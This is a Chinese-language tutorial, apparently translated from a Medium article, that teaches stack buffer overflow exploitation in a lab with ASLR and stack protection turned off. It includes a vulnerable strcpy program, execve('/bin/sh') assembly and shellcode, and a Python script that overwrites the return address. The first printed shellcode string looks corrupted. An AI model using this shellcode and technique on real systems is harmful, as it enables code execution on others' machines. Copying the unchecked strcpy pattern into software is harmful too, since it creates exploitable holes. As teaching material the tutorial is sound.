缓冲区溢出的shellcode 攻击
2023-1-31 10:44:10 Author: 奶牛安全(查看原文) 阅读量:16 收藏


这个文章是内存马的原理

文章译自https://medium.com/@jain.sm/shell-code-exploit-with-buffer-overflow-8d78cc11f89b

继续上一篇文章《栈上函数的生命周期》,这里解释一下如何利用堆栈上的缓冲区溢出的漏洞

这是一种利用漏洞来破坏内存并转移程序的正常执行流程。这基本上是通过控制EIP来实现的。

我们先从缓冲区溢出非常基本的理解开始。缓冲区溢出是程序编写者忘记对缓冲区大小进行有界检查的情况,这使得攻击者能够放入超过缓冲区所能容纳的数据。然后,这些数据会溢出到相邻的内存区。作为上一篇文章中解释的堆栈布局的一个示例,如果存在漏洞,则可以使缓冲区溢出写入到保存返回地址的内存单元。

看下面的例子:

void copyData (char* data)
{
 char buff[10];
 strcpy(buff,data);
}
int main (int argc, char *argv[])
{
 copyData(argv[1]);
 return 0;
}

函数copyData的参数是一个字符串,并调用strcpy把参数拷贝到一个缓冲区。

像上一篇文章讨论那样,对copyData的调用会进行如下操作:

  1. 把返回地址压入栈中
  2. ebp的值压入栈中(这时ebp的值指向main函数这一桢)
  3. 在栈上分配10个字节的空间给局部变量

现在,如果我们尝试以覆盖栈上的返回地址方式进而改变EIP的方式溢出缓冲区,我们会得到一个coredump文件,里面会包含栈崩溃的消息。

img

EIP被垃圾字符填充,产生coredump时,就会发生这种情况。堆栈如下所示

img

对于这个例子,我们会关闭ASLR(地址空间布局随机化),使用gcc-fno-stack-protector编译选项和-zexecstack标志。这样做是为了展示利用漏洞。否则,堆栈、堆和数据段将成为不可执行的,因此不能从那里运行任何代码。此外,在启用ASLR的情况下,确定shellcode将在运行时加载的地址变得更加困难。

译者注:

二进制防护的手段主要是这样

  1. 栈的安全cookie,主要是通过-fstack-protector
  2. SEH(结构化异常处理),windows机制,在栈上维护一个单链表,一旦检测到栈损坏,请调用相应的处理函数
  3. DEP(防止数据段执行),有从硬件角度和软件角度实现,但系统也会提供接口来修改段属性。
  4. VEH(向量异常处理),windows机制,一般用在堆上,防止堆损坏,而且处理优于SEHLinux一直没有相应机制,导致堆块损坏的崩溃问题非常难定位
  5. ASLR(地址空间布局随机化),同一程序每次启动一个进程,加载库的基地址都不一样,从而比较难预测。上面四种机制针对缓冲区溢出时shellcode在堆和栈上执行的问题,但无法防护ROP(面向返回地址编程)攻击手段,ASLR是针对ROP攻击的。

为了解释简单的shellcode,我们将用汇编语言编写一小段代码。

我们以执行系统调用编号59的汇编代码为例。系统调用号59是sys_execve调用,并接受执行程序(在下面的示例中为/bin/sh)作为输入参数。

global _start
section .text
_start:
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

编译这段汇编来产生一个执行文件。

nasm -felf64 shell.asm -o shell.o
ld shell.o -o shell

从这里,我可以通过objdump工具来产生shellcode,这样做是为了删除可能被解释为空终止符的错误字符,如\x00。

objdump -M Intel -d ./shell |grep ‘[0–9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1–7 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ‘’ -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

shellcode产生如下

“\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\xe6\x48\x83\xc0\x3b\x0f\x05”

这段shellcode会作为字符串被接下来的程序来加载。

我们现在写一段简单的C程序用来加载和执行shellcode。在这个例子下,函数shell_pwn加载和执行shellcode.这里我们展示如何通过指定输入来溢出函数copytobuffer函数的缓冲区。这个输入精心构造可以改变返回地址,使得它指向shell_pwn函数。

flow.c:

#include <string.h>
#include <stdlib.h>
void shell_pwn()
{
    const char code[] =
    “\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05”;
    //const char shellcode[] = “\x90”;
    ////printf(“Shellcode Length: %d\n”, (int)strlen(code));
    ////((void(*)(void))code)();
    int (*ret)() = (int(*)())code;
    ret();
    exit(0);
}
int copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
    return 0;
}
void main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    exit(0);
}

下面截图,我们会用gdb来确定shell_pwn函数的地址

img

img

我们可以看到shell_pwn函数的地址是0x400566。我们使用一个python程序产生输入来溢出缓冲区,并且让栈上的返回地址指向shell_pwn函数

#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*24
buffer += pack("<Q",0x0000000000400566)
f = open("input2.txt""w")
f.write(buffer)

一旦完成,我们就可以看到,使用上面的输入执行了二进制流,就能够通过覆盖堆栈上的返回地址在程序内部执行shell。

img

在接下来的文章中,我们将看到更多的缓冲区溢出攻击,比如创建绑定外壳或反向外壳。我们还将查看是否可以使用Metasploit模块生成shellcode

暗号:51651


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&mid=2247488148&idx=1&sn=5357d7e087d5b15f366de611bfb2e1c2&chksm=fdf97981ca8ef097d230c7ab54bd8dc888d5efb16d0e8087fd6b6abbee4e61d035b24a6c1523#rd
如有侵权请联系:admin#unsafe.sh